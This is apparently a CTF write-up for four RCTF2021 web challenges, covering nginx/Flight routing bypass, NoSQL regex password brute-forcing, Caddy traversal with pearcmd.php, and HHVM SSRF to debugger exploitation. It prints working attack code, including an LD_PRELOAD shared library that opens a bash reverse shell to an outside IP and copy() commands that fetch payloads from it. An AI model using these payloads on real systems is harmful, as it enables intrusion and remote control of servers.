RCTF2021 Web WriteUp
Easyphp
审计flight,在处理路由时进行了一次urldecode。

所以可以利用/ad%256din
绕过nginx中的限制。

flight的route是按顺序执行的,所以访问/admin
之前仅存在stristr($request->url,"login")
的限制。

那么只需要/ad%256din%253flogin
就能绕过。

flight首先把$_GET
传给$request->query
, 再解析了一遍url传了一次。
这样/ad%256din%253flogin%3fdata=xxxx
我们让第二个?
编码一次,让nginx将整个解析为path(同时进行了一次urldecode),传给php-fpm后$_GET
为空,再次parse_url解析一遍又把?data=xxxx
解析成了query。


最后
/ad%256din%253flogin%3fdata=..%252f..%252f..%252fflag
读flag。

CandyShop
登陆处存在nosql注入

# -*- coding: utf-8 -*-
"""
Create Time: 2021/9/11 12:58
Author: JrXnm
"""
import requests
import string
url = "http://123.60.21.23:23333/user/login"
flag = ''
while True:
for i in string.hexdigits:
data = {
"username": "rabbit",
"password[$regex]": "^" + flag + i
}
print(data)
res = requests.post(url, data=data)
if("You Bad Bad" in res.text):
flag += i
print(flag)
break
print(flag)
登陆,shop处可以渲染pug模板,直接拼接就行。

VerySafe
看caddy的pr,https://github.com/caddyserver/caddy/pull/4207, 这个版本允许目录遍历。

因为security.limit_extensions的限制php-fpm不会执行非php后缀的文件,所以上面的目录遍历就可以执行任意服务器上的php文件。
而且后缀为.php时caddy才会把请求转发给fpm后端,下面是通过%00欺骗caddy让其转发给fpm,fpm拿到后无法渲染非php后缀文件所有返回403

可以利用环境自带的/usr/local/lib/php/pearcmd.php
文件,本地搭建发现php中register_argc_argv为开启状态。说明可以将GET参数传递到$_SERVER['argv']
中。
pearcmd.php
是利用在/usr/local/lib/php/Console/Getopt.php
中readPHPArgv
方法获取cli参数的。


所以我们就可以通过上面的方法请求pearcmd.php文件。它的用法和pear的用法是一样的。
我们先用pear install
将shell下载到tmp目录

然后再利用shell。

hiphop
信息收集
看响应是hhvm,看版本4.126.0,几天前更新的。
目前有一个ssrf,读cmdline可以看到配置了hhvm.debugger.vs_debug_enable=1
,开启了vscode的debug,远程attach默认开启8999端口。

同时也看到这两个配置hhvm.server.whitelist_exec=true
和hhvm.server.allowed_exec_cmds[]=
查看hhvm源码,当hhvm.server.whitelist_exec
设置后命令执行函数都会检查一遍要执行的命令。

检查的方法也很简单,先去掉执行命令的前面空白字符,再把命令中第一个空格前面的内容和所有白名单中的内容比较,相等就执行。如果设置了白名单那么这个绕过的方法很简单(白名单中有ls
,ls ;id
就能绕过)。但是题目中白名单只有一个内容且为空字符,没看出怎么绕过。

思路
所以现在的思路就是ssrf与hhvm的debuger通信,执行hhvm代码。
然后就是想办法绕过hhvm.server.whitelist_exec
的限制执行命令。
绕过whitelist_exec
和php的bypass disable_function很像,最先想到的是也可以利用LD_PRELOAD
环境变量加载恶意so文件从而命令执行。
不过hhvm中的putenv
函数与php中不同,https://github.com/facebook/hhvm/issues/7378从这里可以看到hhvm由于多线程的缘故,执行putenv函数时环境变量并不能传播到 libc call 中。
但是像proc_open和pcntl_exec都是可以从参数传递环境变量的。所以可以准备好一个恶意hack语言文件
<?hh
<<__EntryPoint>>
function main(): void {
$des = dict[];
$pip = vec[];
$process = proc_open('', $des, inout $pip, null, dict["LD_PRELOAD"=>"./bad.so"],null);
}
恶意so文件
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/bin/bash -c 'bash -i >& /dev/tcp/159.75.23.54/20005 0>&1'");
}
编译gcc bad.c -fPIC -shared -o bad.so
将两个文件传入服务器再请求hack文件就可以了。
ssrf
最后就是ssrf执行命令,只要执行两条上传文件的命令就行
copy("http://159.75.23.54:20001/bad.so","/var/www/html/sandbox/e4aba420c2f65776eae4496c8c27c16b/bad.so");copy("http://159.75.23.54:20001/2.php","/var/www/html/sandbox/e4aba420c2f65776eae4496c8c27c16b/2.php");
本地搭建debug环境,执行命令wireshark抓包

试了一下,执行命令前的包都得发送过去,所以copy下来进行二次url编码,然后再gopher协议发送出去。

最后请求hack文件/sandbox/a088172d6c660ab2c53456ea6bcb8191/2.php
, 接收反弹shell拿到flag
